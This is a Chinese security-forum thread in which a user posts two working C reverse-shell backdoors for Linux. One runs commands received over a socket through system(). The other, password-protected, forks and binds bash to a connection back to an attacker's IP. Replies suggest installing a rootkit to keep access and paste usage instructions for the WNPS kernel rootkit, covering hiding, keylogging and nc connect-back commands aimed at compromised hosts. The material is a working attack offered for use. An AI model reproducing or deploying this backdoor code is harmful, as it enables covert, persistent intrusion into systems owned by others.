[讨论]Linux反弹马编写
[讨论]Linux反弹马编写文章作者:武夫
最近在检测一个Linux集群时需要用到Linux下的很多工具,这些以前都没收集注意过,今天由于某种原因急需一个反弹的cmdshell,百度上找了几个也没遇到好的.所以琢磨着自己写.由于本人以前从来没在Linux下进行过编程,所以开始偷懒,用C标准库的一个system()函数来实现这个功能.
代码如下:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define P0RT 1113
int main(int a, char **b)
{
if(a<2) return 0;
int c;
char p[1024];
char file[1800];
char *welcome="Hello. Print \"EXIT\" command To Exit\n";
char *banner1="\n********** Result: *************\n\n";
char *banner2="\n********** End *************\n\n";
char *banner3="CMD LINE: " ;
FILE *fp;
struct sockaddr_in l;
l.sin_family = AF_INET;
l.sin_port = htons(P0RT);
l.sin_addr.s_addr = inet_addr(b[1]);
bzero(&(l.sin_zero), 8);
c = socket(AF_INET, SOCK_STREAM, 0);
while(connect(c,(struct sockaddr *) &l, sizeof(struct sockaddr))!=0)
{
if(a==3)
{
sleep(atoi(b[2]));
}
else
{
sleep(5);
}
}
//Get Connected
send(c , welcome , strlen(welcome) ,0);
send(c , banner3 , strlen(banner3) , 0);
recv(c , p , 1024 ,0) ;
while(1)
{
p[strlen(p)-1]='\0'; //Change 0x0D to 0x00
if(strncasecmp(p , "EXIT" , strlen(p))==0) break;
sprintf(p , "%s > /tmp/tmp.txt" ,p);
system(p);
send(c , banner1 , strlen(banner1) , 0);
fp = fopen("/tmp/tmp.txt" , "r");
if(fp==NULL)
{
send(c , "No Input File\n" , 32 ,0);
continue;
}
else
{
while(fgets(file , 1024 , fp))
{
send(c , file , strlen(file)+1 , 0);
fseek(fp , SEEK_SET , strlen(file)+1);
}
}
fclose(fp);
system("rm -f /tmp/tmp.txt");
send(c , banner2 , strlen(banner2) , 0);
send(c , banner3 , strlen(banner3) , 0);
memset(p , 0 , 1024);
memset(file , 0 , 1800);
recv(c , p , 1024 ,0);
}
close(c);
return 0;
}
上面是通过输出到一个临时文件/tmp/tmp.txt来实现数据的返回输出的,但是这样明显的一个缺点就是一些命令根本返回不了结果.所以这个办法不可行.晚上我抽了点时间看了下我的C语言函数手册,了解到UNIX下的pipe函数可以建立匿名管道,但另外一个巧妙的方法就是用dup2()函数来实现输出输入句柄的复制.
所以将上面的代码改写如下:
复制内容到剪贴板
代码:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define P0RT 1113 //DEFAULT PORT . CAN BE CHANGED IN MAIN PARAMS
#define PASSWORD "hackwolf" //PASSWORD FOR LOGIN
void usage()
{
printf("*****************************************\n");
printf("\tUsage:./door RemoteIP [RemotePort] [Sleep]\n");
printf("\tCoded By Hackwolf.\n");
printf("\tTest Code For : forum.eviloctal.com\n\n");
printf("*****************************************\n");
}
int main(int a, char **b)
{
if(a<2)
{
usage();
return 0;
}
int c , err=0;
char p[1024];
char *welcome="\n\nHello.Input Your Password Here^_^ : ";
char *banner1="\n********** Result: *************\n\n";
char *banner2="\n********** End *************\n\n";
char *banner3="CMD LINE: " ;
char *banner4="****** ERROR PASSWORD.!!!!******\nReType Your Pass ~_~ : ";
char *suc="\n\nSuccess.You Can Type Command Below ^_^\n\n";
FILE *fp;
struct sockaddr_in l;
l.sin_family = AF_INET;
if(a==3)
{
l.sin_port = htons(atoi(b[2]));
}
else
l.sin_port = htons(P0RT);
l.sin_addr.s_addr = inet_addr(b[1]);
bzero(&(l.sin_zero), 8);
switch(fork())
{case -1:exit(-1);
case 0:{
c = socket(AF_INET, SOCK_STREAM, 0);
//Get Remote Connected....
while(connect(c,(struct sockaddr *) &l, sizeof(struct sockaddr))!=0)
{
if(a==4)
{
sleep(atoi(b[3]));
}
else
{
sleep(3);
}
}
printf("Connect OK..");
//Send Welcome MSG...
send(c , welcome , strlen(welcome) ,0);
recv(c , p , 1024 ,0) ;
//Check PASSWORD
while(1)
{
if(strncmp(p , PASSWORD , strlen(p)-1)!=0)
{
send(c , banner4 , strlen(banner4) , 0);
err++;
recv(c , p , 1024 ,0);
}
else
{
send(c , suc , strlen(suc) , 0);
break;
}
if(3==err) exit(1); //MAX Times of ERROR PASSWORD.
}
//Close STDIN ,STDOUT ,STDERROR I/O.
close(0);
close(1);
close(2);
//Redirect STDIN , STDOUT , STDERROR to SOCKET c.
dup2(c , 0);
dup2(c , 1);
dup2(c , 2);
//Create A child Process.
execl("/bin/bash" , "bash" , NULL);
close(c);}
default:
{
printf("Connect OK\nWaiting Please...\n");
}
return 0;
}
上面基本已经实现了cmdshell的基本功能了.但是出现了一个问题.就是:
结果的输入不能按我想要的格式进行输出.
如执行:ls
返回:cmd.php mmm
这样不利于数据的分析,所以想请教大家,怎么样将结果进行格式化输出,达到美观大方令人心旷神怡的样子.. [img]http://forum.eviloctal.com/images/smilies/default/loveliness.gif[/img]
问题有点白痴,高手们不要见笑.
PS:如果大家有比较好的Linux下的嗅探工具,麻烦给我份,谢谢!![img]http://forum.eviloctal.com/images/smilies/default/lol.gif[/img] 呵呵,去把 netcat.c 下回来读一遍就好了。
帖子3923 精华[url=http://forum.eviloctal.com/digest.php?authorid=67423]128[/url] 积分209640 阅读权限200 性别男 在线时间1095 小时 注册时间2007-10-23 最后登录2008-7-18 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=67423]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32540&repquote=140119&extra=page%3D9&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32540&pid=140119&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=鲜花预定&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]爱要怎么说出口[/url]
[url=http://forum.eviloctal.com/space-uid-57023.html]武夫[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] netcat.c也没有格式化输出的功能貌似?
我昨晚想了下,只要在客户端再写一个连接程序,就可以实现了. [img]http://forum.eviloctal.com/images/smilies/default/lol.gif[/img]
但是我懒得写. 刚才改写了下程序,比较适合webshell下使用这个.[img]http://forum.eviloctal.com/images/smilies/default/lol.gif[/img]
帖子18 精华[url=http://forum.eviloctal.com/digest.php?authorid=57023]0[/url] 积分3089 阅读权限100 性别男 在线时间12 小时 注册时间2006-7-11 最后登录2008-6-30 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=57023]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32540&repquote=140136&extra=page%3D9&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32540&pid=140136&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=软件外包&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]软件项目外包[/url]
[url=http://forum.eviloctal.com/space-uid-67122.html]wzt[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] 如果用后门是为了提权的话,最好是写个带有伪终端功能的;如果是为了保持权限的话, 装rootkit比较合适些
[url=http://wpa.qq.com/msgrd?V=1&Uin=71579912&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子19 精华[url=http://forum.eviloctal.com/digest.php?authorid=67122]2[/url] 积分3263 阅读权限100 性别男 在线时间33 小时 注册时间2006-10-18 最后登录2008-7-13 [url=http://tthacker.sitesled.com]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=67122]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32540&repquote=140137&extra=page%3D9&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32540&pid=140137&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-65192.html]westhack[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 楼上的wzt 写的wnps应该是个很好的工具
wnps-0.26-beta2精简测试版
WNPS 简介:
WNPS是一只工作在Linux 2.6.x平台下的rootkit+backdoor程序。
它的意思是wnps is not poc shell,我的意图在于将它设计成一个可用于实战的linux rootkit。
它最初的想法来自enyelkm,我对作者的开源精神深表感激。
开发平台:
2.6.9-5.EL
WNPS 功能特点:
-=-=精简测试版只有文件隐藏,目录隐藏,网络连接隐藏,后门伪终端,传输加密这几个最基本的功能-=-=
1、隐藏
隐藏指定文件
隐藏文件中特定的内容
隐藏进程
动态隐藏网络连接、进程-->用过sk的都知道什么是动态隐藏
隐藏自身模块
保护相关模块、进程、文件不被跟踪
2、内核反弹后门
即使肉鸡没有开放任何TCP UDP端口并过滤icmp包,只要肉鸡让回连,我们就可以获得shell
跨内核平台简易安装,拿着一个wnps.ko就可以管理所有2.6内核的机器,所有要做的事情只是执行insmod wnps.ko
完美的伪终端支持,让你用起来更顺心
可以设置定时自动回连,即使你的肉鸡在内网的深处,也不用担心她跑路
3、键盘记录功能
想看看有没其他人在你的肉鸡里跳舞?这个是最好的办法,还可以通过键盘记录把别人的肉鸡给抢了,怎么抢,自己发挥想像空间吧。键盘记录功能对渗透和保护肉鸡都有相当重要的意义。键盘有两种模式,一个是密码模式,就是专门记录密码相关的了,只要触发了相关特征字符串,我们就记录下相应的内容,还有一个就是完全记录模式了,顾名思义了。
4、模块注射
比adore-ng更稳定的模块注射方式
5、通讯加密
+----------------------------------------------------------------------------------------+
WNPS 用法:
服务端使用说明:
在安装之前,请先修改wnps目录下的config.h!!!
TCP_SHELL_KEY 表示要发送的主机密码,默认为@wztshell
HIDE_FILE 表示我们将隐藏以HIDE_FILE字符为前缀的文件
HIDE_TASK 表示我们将隐藏以HIDE_TASK字符为前缀的进程
HIDE_STR 表示我们将隐藏在文件中以HIDE_STR字符为前缀的字符串
HIDE_OPEN 表示我们将隐藏文件中位于HIDE_OPEN和HIDE_CLOSE之间的内容
HIDE_CLOSE
主机需要能够被安装模块以及提供内核源代码。
make;make install
+----------------------------------------------------------------------------------------+
客户端使用说明:
WNPS的客户端将被设计成可以工作在linux和win平台上使用。
1。即可以发送tcp数据报来激活shell,又能用nc来连接服务器的某一端口来发送密码,以及
反弹ip和port。
2。使用方法简单灵活
注意:如果要使用nc做客户端,请先修改服务端和客户端的config.h中的
ENCRYPT 为0。也就是不支持传输加密的功能。
1).在windows平台下,可以用nc作为客户端,连接肉鸡任意开放的一个端口。
比如:
./nc -vvlp 8899
./nc -vv target_ip 22 然后输入密码,反弹ip和port.即可在8899端口获得一个shell。
(1).在本机的8899端口获得一个远程shell。
@wztshell:5566
(2).在192.168.75.128的5566端口获得一个远程shell。
@wztshell:192.168.75.128:5566
2).在linux平台下,即可用nc作为客户端,又可采用自带的client作为客户端,并且允许发送
tcp数据报来激活远程shell。
./client
optinons:
-tcp|packet [victim port] [connect back ip] [connect back port]
-listen [port]
-listen 在本地监听某一端口
-tcp 发送tcp数据报,激活远程shell
为远程服务器地址,必须填写这个参数。
[victim port] 为远程服务器开放的端口,默认将会自动扫描常用开放的端口,在send.h里定义。
[connect back ip] 为你要反弹回的主机地址,默认是本机公网ip地址,必须是可以让肉鸡能够回连的地址。
[connect back port] 为你要反弹回的主机端口,默认为8899,在config.h里定义。
+----------------------------------------------------------------------------+
你可以很灵活的来使用WNPS的client。client默认的监听端口为8899,在client/config.h中设置
设肉鸡ip为:192.168.75.130
注意:如果是要在client端所在的主机上获得远程shell,无须使用-listen选项!
(1).在本机的8899端口上获得一个远程shell。
./client -tcp 192.168.75.130
(2).向肉鸡的22端口发送数据报,然后在本机的8899端口上获得一个远程shell。
./client -tcp 192.168.75.130 22
(3).向肉鸡的22端口发送数据报,然后在本机的5566端口上获得一个远程shell。
./client -tcp 192.168.75.130 22 5566
(4).在192.168.75.128的8899端口上获得一个远程shell。
先在192.168.75.128上使用:
./client -listen
然后在client所在的主机上使用:
./client -tcp 192.168.75.130 192.168.75.128
(5).在192.168.75.128的5566端口上获得一个远程shell。
./client -listen 5566
./client -tcp 192.168.75.130 192.168.75.128 5566
(6).向肉鸡的22端口发送数据报,然后在192.168.75.128的5566端口上获得一个远程shell。
./client -listen 5566
./client -tcp 192.168.75.130 22 192.168.75.128 5566 回复 地板 westhack 的帖子
有代码么?或者给个下载地址谢谢
帖子18 精华[url=http://forum.eviloctal.com/digest.php?authorid=57023]0[/url] 积分3089 阅读权限100 性别男 在线时间12 小时 注册时间2006-7-11 最后登录2008-6-30 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=57023]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32540&repquote=140146&extra=page%3D9&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32540&pid=140146&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日,预测咨询,公司改名,权威易经[/url]
[url=http://forum.eviloctal.com/space-uid-65192.html]westhack[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然 [url=http://www.cublog.cn/u/15780/showart.php?id=393234]http://www.cublog.cn/u/15780/showart.php?id=393234[/url]
到这里下载和获得帮助
帖子24 精华[url=http://forum.eviloctal.com/digest.php?authorid=65192]0[/url] 积分53 阅读权限40 在线时间18 小时 注册时间2006-9-29 最后登录2008-5-14 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=65192]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32540&repquote=140147&extra=page%3D9&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32540&pid=140147&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]
[url=http://forum.eviloctal.com/space-uid-57023.html]武夫[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img] 谢谢[img]http://forum.eviloctal.com/images/smilies/default/lol.gif[/img][img]http://forum.eviloctal.com/images/smilies/default/lol.gif[/img]
帖子18 精华[url=http://forum.eviloctal.com/digest.php?authorid=57023]0[/url] 积分3089 阅读权限100 性别男 在线时间12 小时 注册时间2006-7-11 最后登录2008-6-30 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=57023]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32540&repquote=140148&extra=page%3D9&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32540&pid=140148&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-99972.html]stillr[/url] [img]http://forum.eviloctal.com/images/avatars/01.gif[/img]
晶莹剔透§烈日灼然 execl("/bin/bash" , "bash" , NULL);
这是unix底下的调用哦 ...
用execlp函数把父进程的映像替换为命令 ls -1的进程映像,命令ls -1把管道的内容作 为输入
execlp(“ls”,”ls”,”-al”,”/etc/passwd”,(char *)0); .......
客户端再写一个连接程序是个不错的办法 .
[url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnadd.gif[/img][/url] [url=http://forum.eviloctal.com/javascript:;][img]http://forum.eviloctal.com/images/default/msnchat.gif[/img][/url]
帖子4 精华[url=http://forum.eviloctal.com/digest.php?authorid=99972]0[/url] 积分586 阅读权限50 在线时间10 小时 注册时间2007-3-31 最后登录2008-7-17 [url=http://blog.sina.com.cn/stillr]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=99972]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=32540&repquote=140150&extra=page%3D9&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=32540&pid=140150&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP
[url=http://forum.eviloctal.com/space-uid-57023.html]武夫[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]
页:
[1]